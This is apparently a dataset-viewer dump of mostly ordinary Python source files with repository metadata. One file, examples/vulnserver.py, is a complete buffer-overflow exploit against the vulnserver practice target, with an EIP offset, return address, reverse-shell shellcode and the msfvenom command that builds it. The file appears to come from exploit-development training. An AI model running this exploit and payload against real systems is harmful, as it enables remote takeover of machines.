xszheng2020/the_stack_dedup_python_hits_4 · Datasets at Hugging Face

4eeadf2681fe23b87f5bea131bf7f76a9bfba3aa

155

py

Python

azure_monitor/src/azure_monitor/sdk/__init__.py

hectorhdzg/opentelemetry-azure-monitor-python

f57679d80f259181486a1124f0d6b71012d4826b

[ "MIT" ]

13

2020-04-03T17:17:45.000Z

2021-06-08T15:23:03.000Z

azure_monitor/src/azure_monitor/sdk/__init__.py

hectorhdzg/opentelemetry-azure-monitor-python

f57679d80f259181486a1124f0d6b71012d4826b

[ "MIT" ]

72

2020-03-24T10:42:06.000Z

2021-01-28T23:39:42.000Z

azure_monitor/src/azure_monitor/sdk/__init__.py

hectorhdzg/opentelemetry-azure-monitor-python

f57679d80f259181486a1124f0d6b71012d4826b

[ "MIT" ]

11

2020-04-27T20:01:31.000Z

2021-11-02T14:54:14.000Z

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f609c1834b83563ef3b500f8caf8053df708068f

24

py

Python

data/studio21_generated/interview/1645/starter_code.py

vijaykumawat256/Prompt-Summarization

614f5911e2acd2933440d909de2b4f86653dc214

[ "Apache-2.0" ]

null

data/studio21_generated/interview/1645/starter_code.py

vijaykumawat256/Prompt-Summarization

614f5911e2acd2933440d909de2b4f86653dc214

[ "Apache-2.0" ]

null

data/studio21_generated/interview/1645/starter_code.py

vijaykumawat256/Prompt-Summarization

614f5911e2acd2933440d909de2b4f86653dc214

[ "Apache-2.0" ]

null

def sum_of_squares(n):

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4

f62f9e1b0743016f0f7e389f124a6f4f3eddcbe8

91

py

Python

run.py

PISK12/UI_download_novel

fb14bb37315526baa2f3cca03d825543d08e7ed6

[ "MIT" ]

null

run.py

PISK12/UI_download_novel

fb14bb37315526baa2f3cca03d825543d08e7ed6

[ "MIT" ]

1

2018-07-11T19:49:38.000Z

run.py

PISK12/UI_download_novel

fb14bb37315526baa2f3cca03d825543d08e7ed6

[ "MIT" ]

1

2018-01-24T19:11:42.000Z

from Wuxii.front_app import MainWindow if __name__ == '__main__': MainWindow().play()

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f63f1b6ff95bf1ca89a9467e7e125219815f54d5

691

py

Python

red_squirrel_api/serializers.py

Feasoron/red-squirrel

54eef4ba34a7942ea915089eef7b74c1de004037

[ "Apache-2.0" ]

null

red_squirrel_api/serializers.py

Feasoron/red-squirrel

54eef4ba34a7942ea915089eef7b74c1de004037

[ "Apache-2.0" ]

null

red_squirrel_api/serializers.py

Feasoron/red-squirrel

54eef4ba34a7942ea915089eef7b74c1de004037

[ "Apache-2.0" ]

null

from rest_framework import serializers from red_squirrel.models import Food, Category, Unit, StorageLocation class LocationSerializer(serializers.HyperlinkedModelSerializer): class Meta: model = StorageLocation fields = ('url', 'name') class UnitSerializer(serializers.HyperlinkedModelSerializer): class Meta: model = Unit fields = ('url', 'name') class CategorySerializer(serializers.HyperlinkedModelSerializer): class Meta: model = Category fields = ('url', 'name') class FoodSerializer(serializers.HyperlinkedModelSerializer): class Meta: model = Food fields = ('url', 'name', 'category', 'location')

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f65f7c7f18d58d50880a0acc1d499f9e6ab59fc7

145

py

Python

my_utils/dicts/set_config_default_item.py

fgitmichael/SelfSupevisedSkillDiscovery

60eee11cfd67046190dd2784bf40e97bdbed9d40

[ "MIT" ]

null

my_utils/dicts/set_config_default_item.py

fgitmichael/SelfSupevisedSkillDiscovery

60eee11cfd67046190dd2784bf40e97bdbed9d40

[ "MIT" ]

6

2021-02-02T23:00:02.000Z

2022-01-13T03:13:51.000Z

my_utils/dicts/set_config_default_item.py

fgitmichael/SelfSupevisedSkillDiscovery

60eee11cfd67046190dd2784bf40e97bdbed9d40

[ "MIT" ]

null

def set_config_default_item(config: dict, key, default) -> dict: if not key in config.keys(): config[key] = default return config

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9caef60c2a59957b4e786116106a5eea2e873e9d

2,807

py

Python

examples/vulnserver.py

the-robot/buff

5fd68935e40543f6df8f134bc48b8f428ad7af55

[ "WTFPL" ]

4

2021-12-13T00:52:10.000Z

2022-03-06T17:11:02.000Z

examples/vulnserver.py

the-robot/buff

5fd68935e40543f6df8f134bc48b8f428ad7af55

[ "WTFPL" ]

null

examples/vulnserver.py

the-robot/buff

5fd68935e40543f6df8f134bc48b8f428ad7af55

[ "WTFPL" ]

null

import buff target = ("10.10.39.66", 9999) # From Spiking I learnt what the prefix is runner = buff.Buff(target = target, prefix = "TRUN /.:/") """ FIRST CREATE WOKRING DIRECTORY!!! !mona config -set workingfolder c:\mona\%p """ # ----- 1. FUZZING ----- # Crashed at 2000 # runner.fuzz() # ----- 2. Send Unique Characters ----- # Set Buffer Size BUFFER_SIZE = 2400 runner.setBufferSize(BUFFER_SIZE) # runner.sendPattern() # ----- 3. Find EIP Offset ----- """ !mona findmsp -distance 2400 """ # offset = buff.generator.findPatternOffset(BUFFER_SIZE, "v1Av") # print(offset) # Set Eip offset EIP_OFFSET = 2003 runner.setEipOffset(EIP_OFFSET) # ----- 4. Find Bad Characters ----- """ !mona bytearray -b "\x00" !mona compare -f C:\mona\vulnserver\bytearray.bin -a 0187F9E0 """ # runner.sendBadChars(exclude = []) # ----- 5. Send Exploit ----- """ Find JMP ESP !mona jmp -r esp -cpb "\"x00 Generate payload msfvenom -p windows/shell_reverse_tcp LHOST=10.9.2.211 LPORT=443 EXITFUNC=thread -b "\x00" -f c """ # Set return address (in reverse) eip_address = "\xaf\x11\x50\x62" runner.setEipAddress(eip_address) exploit = ( "\xda\xcf\xd9\x74\x24\xf4\x5a\xbf\x36\xc9\x40\xa8\x31\xc9\xb1" "\x52\x31\x7a\x17\x03\x7a\x17\x83\xf4\xcd\xa2\x5d\x04\x25\xa0" "\x9e\xf4\xb6\xc5\x17\x11\x87\xc5\x4c\x52\xb8\xf5\x07\x36\x35" "\x7d\x45\xa2\xce\xf3\x42\xc5\x67\xb9\xb4\xe8\x78\x92\x85\x6b" "\xfb\xe9\xd9\x4b\xc2\x21\x2c\x8a\x03\x5f\xdd\xde\xdc\x2b\x70" "\xce\x69\x61\x49\x65\x21\x67\xc9\x9a\xf2\x86\xf8\x0d\x88\xd0" "\xda\xac\x5d\x69\x53\xb6\x82\x54\x2d\x4d\x70\x22\xac\x87\x48" "\xcb\x03\xe6\x64\x3e\x5d\x2f\x42\xa1\x28\x59\xb0\x5c\x2b\x9e" "\xca\xba\xbe\x04\x6c\x48\x18\xe0\x8c\x9d\xff\x63\x82\x6a\x8b" "\x2b\x87\x6d\x58\x40\xb3\xe6\x5f\x86\x35\xbc\x7b\x02\x1d\x66" "\xe5\x13\xfb\xc9\x1a\x43\xa4\xb6\xbe\x08\x49\xa2\xb2\x53\x06" "\x07\xff\x6b\xd6\x0f\x88\x18\xe4\x90\x22\xb6\x44\x58\xed\x41" "\xaa\x73\x49\xdd\x55\x7c\xaa\xf4\x91\x28\xfa\x6e\x33\x51\x91" "\x6e\xbc\x84\x36\x3e\x12\x77\xf7\xee\xd2\x27\x9f\xe4\xdc\x18" "\xbf\x07\x37\x31\x2a\xf2\xd0\x34\xa2\xfe\xf3\x21\xb6\xfe\xf2" "\x0a\x3f\x18\x9e\x7c\x16\xb3\x37\xe4\x33\x4f\xa9\xe9\xe9\x2a" "\xe9\x62\x1e\xcb\xa4\x82\x6b\xdf\x51\x63\x26\xbd\xf4\x7c\x9c" "\xa9\x9b\xef\x7b\x29\xd5\x13\xd4\x7e\xb2\xe2\x2d\xea\x2e\x5c" "\x84\x08\xb3\x38\xef\x88\x68\xf9\xee\x11\xfc\x45\xd5\x01\x38" "\x45\x51\x75\x94\x10\x0f\x23\x52\xcb\xe1\x9d\x0c\xa0\xab\x49" "\xc8\x8a\x6b\x0f\xd5\xc6\x1d\xef\x64\xbf\x5b\x10\x48\x57\x6c" "\x69\xb4\xc7\x93\xa0\x7c\xe7\x71\x60\x89\x80\x2f\xe1\x30\xcd" "\xcf\xdc\x77\xe8\x53\xd4\x07\x0f\x4b\x9d\x02\x4b\xcb\x4e\x7f" "\xc4\xbe\x70\x2c\xe5\xea" ) runner.setExploit(exploit) # set padding runner.setPaddingSize(16) # runner.sendExploit()

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9cc4c301494852172d23081bb82eaf0cce1919e9

70

py

Python

stocks/__init__.py

xBlynd/FlameCogs

c3ebf7a52999cb84c5a038264e3a2e36977cd273

[ "MIT" ]

null

stocks/__init__.py

xBlynd/FlameCogs

c3ebf7a52999cb84c5a038264e3a2e36977cd273

[ "MIT" ]

null

stocks/__init__.py

xBlynd/FlameCogs

c3ebf7a52999cb84c5a038264e3a2e36977cd273

[ "MIT" ]

null

from .stocks import Stocks def setup(bot): bot.add_cog(Stocks(bot))

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1

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4

9cc64e3afebc0349d94cb201565b9ae6c2381e89

268

py

Python

OnlineMessage/views.py

KennardWang/OnlineMessage

861d93a4d3da2f7e2e92006b71bc8200d9c32916

[ "MIT" ]

5

2020-06-21T07:31:50.000Z

2020-11-13T03:42:07.000Z

OnlineMessage/views.py

KennardWang/OnlineMessage

861d93a4d3da2f7e2e92006b71bc8200d9c32916

[ "MIT" ]

3

2020-06-24T02:42:33.000Z

2021-04-08T21:11:28.000Z

OnlineMessage/views.py

KennardWang/OnlineMessage

861d93a4d3da2f7e2e92006b71bc8200d9c32916

[ "MIT" ]

null

from django.http import HttpResponse from django.shortcuts import render def messageBlock(request): return render(request, 'form.html') def test(request): context = {} context['hi'] = 'Hello' return render(request, 'error.html', context)

22.333333

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0.679104

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4

9cfb8d60743b39288aa37e3cae93831b18a174da

137

py

Python

py_tdlib/constructors/input_message_location.py

Mr-TelegramBot/python-tdlib

2e2d21a742ebcd439971a32357f2d0abd0ce61eb

[ "MIT" ]

24

2018-10-05T13:04:30.000Z

2020-05-12T08:45:34.000Z

py_tdlib/constructors/input_message_location.py

MrMahdi313/python-tdlib

2e2d21a742ebcd439971a32357f2d0abd0ce61eb

[ "MIT" ]

3

2019-06-26T07:20:20.000Z

2021-05-24T13:06:56.000Z

py_tdlib/constructors/input_message_location.py

MrMahdi313/python-tdlib

2e2d21a742ebcd439971a32357f2d0abd0ce61eb

[ "MIT" ]

5

2018-10-05T14:29:28.000Z

2020-08-11T15:04:10.000Z

from ..factory import Type class inputMessageLocation(Type): location = None # type: "location" live_period = None # type: "int32"

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9cff7743e215e9b2eeb21ec7bc8c22ea5925bf2f

31

py

Python

mtgjson4/provider/__init__.py

Trzypi/mtgjsonv4

af0b8bcc372534f1a33a6e181aaff6c231ed517a

[ "MIT" ]

null

mtgjson4/provider/__init__.py

Trzypi/mtgjsonv4

af0b8bcc372534f1a33a6e181aaff6c231ed517a

[ "MIT" ]

null

mtgjson4/provider/__init__.py

Trzypi/mtgjsonv4

af0b8bcc372534f1a33a6e181aaff6c231ed517a

[ "MIT" ]

null

"""Upstream data providers."""

15.5

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4

14175f6749480b9d1e8a823a455aa2ed1a320017

124

py

Python

utils/time.py

jakub-tomczak/ror-gui

a4b6c8dd081fd845e255063d4bafe086e738e63f

[ "MIT" ]

null

utils/time.py

jakub-tomczak/ror-gui

a4b6c8dd081fd845e255063d4bafe086e738e63f

[ "MIT" ]

null

utils/time.py

jakub-tomczak/ror-gui

a4b6c8dd081fd845e255063d4bafe086e738e63f

[ "MIT" ]

null

import datetime def get_log_time() -> str: now = datetime.datetime.now() return now.strftime("%d-%m-%Y %H:%M:%S")

17.714286

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14286e1bf41331c2dba3a05edef35d70f54e999b

37

py

Python

menus.py

MxFxM/Bullet_Like

3387cc8bec8f67bd2016f114599234b918475da0

[ "MIT" ]

null

menus.py

MxFxM/Bullet_Like

3387cc8bec8f67bd2016f114599234b918475da0

[ "MIT" ]

null

menus.py

MxFxM/Bullet_Like

3387cc8bec8f67bd2016f114599234b918475da0

[ "MIT" ]

null

""" Main menu and in game menu?! """

9.25

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4

1451600e9c00411a50f3abd1ce9592c7e46fa868

96

py

Python

group/a21/python helper/LevelDataGenerationHelper.py

wDANDANw/wDANDANw.github.io

acd271e2085eea915a206c671671492286181421

[ "MIT" ]

null

group/a21/python helper/LevelDataGenerationHelper.py

wDANDANw/wDANDANw.github.io

acd271e2085eea915a206c671671492286181421

[ "MIT" ]

null

group/a21/python helper/LevelDataGenerationHelper.py

wDANDANw/wDANDANw.github.io

acd271e2085eea915a206c671671492286181421

[ "MIT" ]

null

array = [] for i in range (16): # array.append([i,0]) array.append([i,5]) print(array)

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1

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147503db098f4cc22438f35462333c05088e9e4c

1,130

py

Python

accelbyte_py_sdk/api/dsm_controller/wrappers/_public.py

encyphered/accelbyte-python-sdk

09c1e989d7251de308150fdcd3119d662ca2d205

[ "MIT" ]

null

accelbyte_py_sdk/api/dsm_controller/wrappers/_public.py

encyphered/accelbyte-python-sdk

09c1e989d7251de308150fdcd3119d662ca2d205

[ "MIT" ]

null

accelbyte_py_sdk/api/dsm_controller/wrappers/_public.py

encyphered/accelbyte-python-sdk

09c1e989d7251de308150fdcd3119d662ca2d205

[ "MIT" ]

null

# pylint: disable=duplicate-code # pylint: disable=line-too-long # pylint: disable=missing-function-docstring # pylint: disable=missing-function-docstring # pylint: disable=missing-module-docstring # pylint: disable=too-many-arguments # pylint: disable=too-many-branches # pylint: disable=too-many-instance-attributes # pylint: disable=too-many-lines # pylint: disable=too-many-locals # pylint: disable=too-many-public-methods # pylint: disable=too-many-return-statements # pylint: disable=too-many-statements # pylint: disable=unused-import from typing import Any, Dict, List, Optional, Tuple, Union from ....core import get_namespace as get_services_namespace from ....core import run_request from ....core import same_doc_as from ..models import ModelsDefaultProvider from ..operations.public import GetDefaultProvider from ..operations.public import ListProviders @same_doc_as(GetDefaultProvider) def get_default_provider(): request = GetDefaultProvider.create() return run_request(request) @same_doc_as(ListProviders) def list_providers(): request = ListProviders.create() return run_request(request)

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149a282fbaf551782d04234abbb51005f4d4ba00

504

py

Python

yepes/utils/minifier/pipeline.py

samuelmaudo/yepes

1ef9a42d4eaa70d9b3e6e7fa519396c1e1174fcb

[ "BSD-3-Clause" ]

null

yepes/utils/minifier/pipeline.py

samuelmaudo/yepes

1ef9a42d4eaa70d9b3e6e7fa519396c1e1174fcb

[ "BSD-3-Clause" ]

null

yepes/utils/minifier/pipeline.py

samuelmaudo/yepes

1ef9a42d4eaa70d9b3e6e7fa519396c1e1174fcb

[ "BSD-3-Clause" ]

null

# -*- coding:utf-8 -*- from __future__ import absolute_import, unicode_literals from pipeline.compressors import CompressorBase from yepes.utils.minifier import minify_css, minify_js class Minifier(CompressorBase): """ A compressor that utilizes ``yepes.utils.minifier.minify_css()`` for CSS files and ``yepes.utils.minifier.minify_js()`` for JS files. """ def compress_css(self, css): return minify_css(css) def compress_js(self, js): return minify_js(js)

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null

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1

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4

1ad880c046e9856f8c75e1613ba7a5e330a3dab3

42

py

Python

_tests/_func_props_used_func_itself.py

deuteronomy-works/Jeremiah

f72b45284ebde9493a87d16072520b8717152aeb

[ "MIT" ]

1

2019-11-26T14:50:59.000Z

_tests/_func_props_used_func_itself.py

deuteronomy-works/Jeremiah

f72b45284ebde9493a87d16072520b8717152aeb

[ "MIT" ]

32

2019-11-26T13:24:56.000Z

2019-12-06T20:19:45.000Z

_tests/_func_props_used_func_itself.py

deuteronomy-works/Jeremiah

f72b45284ebde9493a87d16072520b8717152aeb

[ "MIT" ]

null

def love(): lover = 'sure' lover

8.4

18

0.5

5

42

4.2

0.8

0

0.357143

42

4

19

10.5

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null

0

1

0

null

0

1

0

4

1ae81a4062a63721e6960b3fb52641393d0073fc

37

py

Python

test/integration/expected_out_single_line/percent_dict.py

Inveracity/flynt

b975b6f61893d5db1114d68fbb5d212c4e11aeb8

[ "MIT" ]

487

2019-06-10T17:44:56.000Z

2022-03-26T01:28:19.000Z

test/integration/expected_out_single_line/percent_dict.py

Inveracity/flynt

b975b6f61893d5db1114d68fbb5d212c4e11aeb8

[ "MIT" ]

118

2019-07-03T12:26:39.000Z

2022-03-06T22:40:17.000Z

test/integration/expected_out_single_line/percent_dict.py

Inveracity/flynt

b975b6f61893d5db1114d68fbb5d212c4e11aeb8

[ "MIT" ]

25

2019-07-10T08:39:58.000Z

2022-03-03T14:44:15.000Z

a = 2 b = "wuga" print(f'{a:f} {b}')

9.25

19

0.432432

9

37

1.777778

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0.034483

0.216216

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0.351351

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0

0.333333

1

null

0

1

0

null

0

4

1aefa2884623c98af5a2cc277146aad83a8e7e99

197

py

Python

atlas/providers/__init__.py

citruspi/Atlas

ae9d47e7410e7bb50b8891e6cbe1803620f46588

[ "Unlicense" ]

null

atlas/providers/__init__.py

citruspi/Atlas

ae9d47e7410e7bb50b8891e6cbe1803620f46588

[ "Unlicense" ]

null

atlas/providers/__init__.py

citruspi/Atlas

ae9d47e7410e7bb50b8891e6cbe1803620f46588

[ "Unlicense" ]

null

#!/usr/bin/env python # -*- coding: utf-8 -*- from atlas.providers.ec2 import ec2_instances from atlas.providers.env import env providers = { 'ec2_instances': ec2_instances, 'env': env }

17.909091

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197

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0

0.030488

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197

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null

1

0

null

0

1

0

4

210a01da40249fc0e0c550d5d644ed5c27cc600e

164

py

Python

src/membership/urls.py

gatortechuf/gatortechuf.com

8d0ad5f0772a42113c41bf454e96c2fa2c22d1f3

[ "MIT" ]

2

2016-07-18T02:11:37.000Z

2017-08-27T17:28:25.000Z

src/membership/urls.py

gatortechuf/gatortechuf.com

8d0ad5f0772a42113c41bf454e96c2fa2c22d1f3

[ "MIT" ]

66

2016-06-18T04:00:01.000Z

2018-02-03T17:42:17.000Z

src/membership/urls.py

gatortechuf/gatortechuf.com

8d0ad5f0772a42113c41bf454e96c2fa2c22d1f3

[ "MIT" ]

null

from django.urls import path from . import views app_name = 'membership' urlpatterns = [ path('', views.MembershipView.as_view(), name='membership_index'), ]

18.222222

70

0.719512

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164

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0.7

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164

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0

null

0

1

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4

21221c5f4fc8f72d4c18645c3ee3b8ac0ae7250e

734

py

Python

script.py

BotTechMK40/Auto-Filter-Bot-V2

1275dfdc551bf612c76841ae7919345c16301fc1

[ "MIT" ]

null

script.py

BotTechMK40/Auto-Filter-Bot-V2

1275dfdc551bf612c76841ae7919345c16301fc1

[ "MIT" ]

null

script.py

BotTechMK40/Auto-Filter-Bot-V2

1275dfdc551bf612c76841ae7919345c16301fc1

[ "MIT" ]

null

class script(object): START_MSG = """ ഹലോ {} സുഹൃത്തേ എന്നെ നിന്റെ ഗ്രൂപ്പിലേക്ക് കൊണ്ടുപോകാൻ ആണെങ്കിൽ ഉദ്ദേശം അതു നടക്കില്ല കേട്ടോ എന്റെ മുതലാളിയുടെ അനുവാദമില്ലാതെ എന്നെ എവിടേക്കും കൊണ്ടുവാൻ പറ്റില്ല നിന്റെ ഉദ്ദേശം അതാണെങ്കിൽ വാങ്ങി വെച്ചേക്ക് help""" HELP_MSG = """How to use the bot?? എന്നെ നിനക്ക് എവിടേക്കും കൊണ്ടുവാൻ പറ്റില്ല പിന്നെ ഞാൻ എന്തിനാ നിന്നെ ഞാൻ സഹായിക്കുന്നത് പിന്നെ ഈ സംഭവങ്ങളൊക്കെ എന്റെ മുതലാളിക്ക് മാത്രമേ കാണാൻ പറ്റുള്ളൂ ഒന്നും നോക്കണ്ട വേഗം പൊക്കോ എന്റെ മുതലാളിയെ കോൺടാക്ട് ചെയ്യണമെങ്കിൽ /about കൊടുക്ക് ! ABOUT_MSG = """⭕️My Name : Auto Filter Bot V2 ⭕️Creater : @Bot_Tech_MK ⭕️Language : <code>Python3</code> """

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1

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4

2132d65a0053b5821964f2ea7e5097c9772dfab7

28

py

Python

custom_components/kweather_air365/__init__.py

KuddLim/KWeatherAir365

1f0adf3e909e9eb40124c5d938c18af63fa91833

[ "MIT" ]

null

custom_components/kweather_air365/__init__.py

KuddLim/KWeatherAir365

1f0adf3e909e9eb40124c5d938c18af63fa91833

[ "MIT" ]

null

custom_components/kweather_air365/__init__.py

KuddLim/KWeatherAir365

1f0adf3e909e9eb40124c5d938c18af63fa91833

[ "MIT" ]

null

"""KWeather Air365 Sensor"""

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6.666667

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28

1

28

0.653846

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null

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null

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null

0

null

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null

true

0

null

1

0

null

0

1

0

null

0

1

0

4

2143653a073a38884d75304805b3d37f787e301a

114

py

Python

text/_cascade/_form/math.py

jedhsu/text

8525b602d304ac571a629104c48703443244545c

[ "Apache-2.0" ]

null

text/_cascade/_form/math.py

jedhsu/text

8525b602d304ac571a629104c48703443244545c

[ "Apache-2.0" ]

null

text/_cascade/_form/math.py

jedhsu/text

8525b602d304ac571a629104c48703443244545c

[ "Apache-2.0" ]

null

from typing import Callable class Calc: """ Calculate function. """ calc_: Callable pass

8.769231

27

0.587719

11

114

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0.818182

0

0.333333

114

12

28

9.5

0.868421

0.166667

0

1

0

true

0.25

0

0.75

0

1

0

null

0

null

0

1

0

1

0

4

215a712e2e1850d1e796bbf6631be5cec2600404

181

py

Python

apps/vendor/admin.py

gurnitha/2022-django-multi-vendor-ytb-codewithstein

e8efdc9adb4b75e5abe06006c5a097389920dc1f

[ "Unlicense" ]

null

apps/vendor/admin.py

gurnitha/2022-django-multi-vendor-ytb-codewithstein

e8efdc9adb4b75e5abe06006c5a097389920dc1f

[ "Unlicense" ]

null

apps/vendor/admin.py

gurnitha/2022-django-multi-vendor-ytb-codewithstein

e8efdc9adb4b75e5abe06006c5a097389920dc1f

[ "Unlicense" ]

null

# apps/vendor/admin.py # Django modules from django.contrib import admin # Locals from apps.vendor.models import Vendor # Register your models here. admin.site.register(Vendor)

15.083333

37

0.779006

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5.423077

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0

0.138122

181

12

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15.083333

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0

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true

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null

0

null

0

1

0

1

0

1

0

4

215cc6fa76e0ab1d9b2f19bb41d183eb2da367aa

80

py

Python

recipes/word-swap-wordnet/transformation.py

StatNLP/discretezoo

565552b894a5c9632ac7b949d61a6f71123031e4

[ "MIT" ]

null

recipes/word-swap-wordnet/transformation.py

StatNLP/discretezoo

565552b894a5c9632ac7b949d61a6f71123031e4

[ "MIT" ]

null

recipes/word-swap-wordnet/transformation.py

StatNLP/discretezoo

565552b894a5c9632ac7b949d61a6f71123031e4

[ "MIT" ]

1

2022-03-25T16:45:12.000Z

import textattack TRANSFORMATION = textattack.transformations.WordSwapWordNet()

26.666667

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0.875

6

80

11.666667

0.833333

0

0.0625

80

2

62

40

0.933333

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0

0.5

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0.5

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1

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1

null

0

1

0

null

0

1

0

4

dcc1f13dd1fdbcf60112ab0a77c1f48193ec02af

5,099

py

Python

dynophores/tests/viz/test_plot_static.py

nadja-mansurov/dynophores

7d030170ab1af908730f960f3884048c36d8ef7a

[ "MIT" ]

null

dynophores/tests/viz/test_plot_static.py

nadja-mansurov/dynophores

7d030170ab1af908730f960f3884048c36d8ef7a

[ "MIT" ]

null

dynophores/tests/viz/test_plot_static.py

nadja-mansurov/dynophores

7d030170ab1af908730f960f3884048c36d8ef7a

[ "MIT" ]

null

""" Unit tests for dynophore.viz.plot.static. Will only test if static plotting raises errors. """ import pytest import matplotlib from dynophores.viz import plot @pytest.mark.parametrize( "superfeature_ids", [ ("all"), # Default (("all",)), ("AR[4605,4607,4603,4606,4604]"), (["AR[4605,4607,4603,4606,4604]", "AR[4622,4615,4623,4613,4614,4621]"]), (["all", "AR[4622,4615,4623,4613,4614,4621]"]), ], ) def test_superfeatures_vs_envpartners(dynophore, superfeature_ids): fig, ax = plot.static.superfeatures_vs_envpartners(dynophore, superfeature_ids) assert isinstance(fig, matplotlib.figure.Figure) assert isinstance(ax, matplotlib.axes.Subplot) @pytest.mark.parametrize("superfeature_ids", ["xxx"]) def test_superfeatures_vs_envpartners_raises(dynophore, superfeature_ids): with pytest.raises(KeyError): plot.static.superfeatures_vs_envpartners(dynophore, superfeature_ids) @pytest.mark.parametrize( "superfeature_ids, color_by_feature_type, frames_range, frames_step_size", [ ("all", True, [0, None], 1), # Defaults ("all", False, [10, 100], 1), (("all",), False, [0, None], 100), ("AR[4605,4607,4603,4606,4604]", False, [0, None], 1), ( ["AR[4605,4607,4603,4606,4604]", "AR[4622,4615,4623,4613,4614,4621]"], False, [0, None], 1, ), (["all", "AR[4622,4615,4623,4613,4614,4621]"], False, [0, None], 1), ], ) def test_superfeatures_occurrences( dynophore, superfeature_ids, color_by_feature_type, frames_range, frames_step_size ): fig, ax = plot.static.superfeatures_occurrences( dynophore, superfeature_ids, color_by_feature_type, frames_range, frames_step_size ) assert isinstance(fig, matplotlib.figure.Figure) assert isinstance(ax, matplotlib.axes.Subplot) @pytest.mark.parametrize("superfeature_ids", ["xxx"]) def test_superfeatures_occurrences_raises(dynophore, superfeature_ids): with pytest.raises(KeyError): plot.static.superfeatures_occurrences(dynophore, superfeature_ids) @pytest.mark.parametrize( "superfeature_ids, frames_range, frames_step_size", [ ("AR[4605,4607,4603,4606,4604]", [0, None], 1), (["AR[4605,4607,4603,4606,4604]", "AR[4622,4615,4623,4613,4614,4621]"], [0, None], 10), (["AR[4605,4607,4603,4606,4604]", "AR[4622,4615,4623,4613,4614,4621]"], [10, 90], 1), (["AR[4605,4607,4603,4606,4604]", "AR[4622,4615,4623,4613,4614,4621]"], [10, 90], 10), ], ) def test_envpartners_occurrences(dynophore, superfeature_ids, frames_range, frames_step_size): fig, axes = plot.static.envpartners_occurrences( dynophore, superfeature_ids, frames_range, frames_step_size ) assert isinstance(fig, matplotlib.figure.Figure) if isinstance(superfeature_ids, str): assert isinstance(axes, matplotlib.axes.Subplot) else: for ax in axes: assert isinstance(ax, matplotlib.axes.Subplot) @pytest.mark.parametrize("superfeature_id", ["xxx", ["AR[4605,4607,4603,4606,4604]", "xxx"]]) def test_envpartners_occurrences_raises(dynophore, superfeature_id): with pytest.raises(KeyError): plot.static.envpartners_occurrences(dynophore, superfeature_id) @pytest.mark.parametrize( "superfeature_ids, kind", [ ("AR[4605,4607,4603,4606,4604]", "line"), (["AR[4605,4607,4603,4606,4604]", "AR[4622,4615,4623,4613,4614,4621]"], "line"), ("AR[4605,4607,4603,4606,4604]", "hist"), ], ) def test_envpartners_distances(dynophore, superfeature_ids, kind): fig, axes = plot.static.envpartners_distances(dynophore, superfeature_ids, kind) assert isinstance(fig, matplotlib.figure.Figure) if isinstance(superfeature_ids, str): assert isinstance(axes, matplotlib.axes.Subplot) else: for ax in axes: assert isinstance(ax, matplotlib.axes.Subplot) @pytest.mark.parametrize( "superfeature_id, kind", [("xxx", "line"), ("AR[4605,4607,4603,4606,4604]", "xxx")] ) def test_envpartner_distances_raises(dynophore, superfeature_id, kind): with pytest.raises(KeyError): plot.static.envpartners_distances(dynophore, superfeature_id, kind) @pytest.mark.parametrize( "superfeature_id, frames_range, frames_step_size", [ ("AR[4605,4607,4603,4606,4604]", [0, None], 1), (("AR[4605,4607,4603,4606,4604]",), [0, None], 1), ], ) def test_envpartners_all_in_one(dynophore, superfeature_id, frames_range, frames_step_size): fig, axes = plot.static.envpartners_all_in_one( dynophore, superfeature_id, frames_range, frames_step_size ) print(axes.size) assert isinstance(fig, matplotlib.figure.Figure) assert axes.size == 4 assert isinstance(axes[0][0], matplotlib.axes.Subplot) @pytest.mark.parametrize("superfeature_id", ["xxx"]) def test_envpartners_all_in_one_raises(dynophore, superfeature_id): with pytest.raises(KeyError): plot.static.envpartners_all_in_one(dynophore, superfeature_id)

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null

0

1

0

null

0

4

dccc0792249a33aef4452f328527a47b05a1f39f

10,881

py

Python

experiments/torch_topics_display_bn.py

VKCOM/TopicsDataset

149919321ba61a8f17b22f62f60f4aedec43d72b

[ "MIT" ]

1

2021-11-04T12:39:48.000Z

experiments/torch_topics_display_bn.py

VKCOM/TopicsDataset

149919321ba61a8f17b22f62f60f4aedec43d72b

[ "MIT" ]

null

experiments/torch_topics_display_bn.py

VKCOM/TopicsDataset

149919321ba61a8f17b22f62f60f4aedec43d72b

[ "MIT" ]

null

import pickle import matplotlib.pyplot as plt from visualization.plots import plot_conf_int passive_e1_accs = [] # passive_e5_accs = [] # passive_e10_accs = [] # # passive_ae_e1_accs = [] # passive_ae_es01_t1_accs = [] # passive_ae_es01_t2_accs = [] # ll_1_accs = [] ll_2_accs = [] ll_3_accs = [] # # ll2_margin_1_accs = [] # ll2_margin_2_accs = [] # ll2_margin_3_accs = [] ll2_margin_only_accs = [] ll2_1_margin_hidden1_accs = [] ll2_1_margin_hidden2_accs = [] ll2_1_margin_hidden3_accs = [] ll2_2_margin_accs = [] ll2_2_exp_margin_accs = [] ll3_margin_bald_1_accs = [] ll3_1_margin_bald_hidden1_accs = [] ll3_1_margin_bald_hidden2_accs = [] # ll4_margin_2_accs = [] ll_ideal_accs = [] ll_ideal_reverse_accs = [] margin_accs = [] sud_top20_margin_sparse_accs = [] sud_top50_margin_sparse_accs = [] sud_top100_margin_sparse_accs = [] sud_top1000_margin_sparse_accs = [] sud_top1000_margin_logit_accs = [] sud_top1000_margin_logit_sum_accs = [] sud_top1000_margin_logit_sparse_accs = [] sud_top1000_margin_logit_sparse_sum_accs = [] min_n_queries = None for i in range(1, 2): state = pickle.load(open('experiments/statistic/topics/torch_bn/passive_e1_i2000_b20_q200_' + str(i) + '.pkl', 'rb')) passive_e1_accs.append(state['performance_history']) # state = pickle.load(open('statistic/topics/torch_bn/passive_e5_i2000_b20_q200_' + str(i) + '.pkl', 'rb')) # passive_e5_accs.append(state['performance_history']) # # state = pickle.load(open('statistic/topics/torch_bn/passive_e10_i2000_b20_q200_' + str(i) + '.pkl', 'rb')) # passive_e10_accs.append(state['performance_history']) # # state = pickle.load(open('statistic/topics/torch_ae/passive_ae_e1_i2000_b20_q200_' + str(i) + '.pkl', 'rb')) # passive_ae_e1_accs.append(state['performance_history']) # # state = pickle.load(open('statistic/topics/torch_ae/passive_ae_es01_tol1_i2000_b20_q200_' + str(i) + '.pkl', 'rb')) # passive_ae_es01_t1_accs.append(state['performance_history']) # # state = pickle.load(open('statistic/topics/torch_ae/passive_ae_es01_tol2_i2000_b20_q200_' + str(i) + '.pkl', 'rb')) # passive_ae_es01_t2_accs.append(state['performance_history']) # # state = pickle.load(open('statistic/topics/torch_bn/learning_loss_1_i2000_b20_q200_' 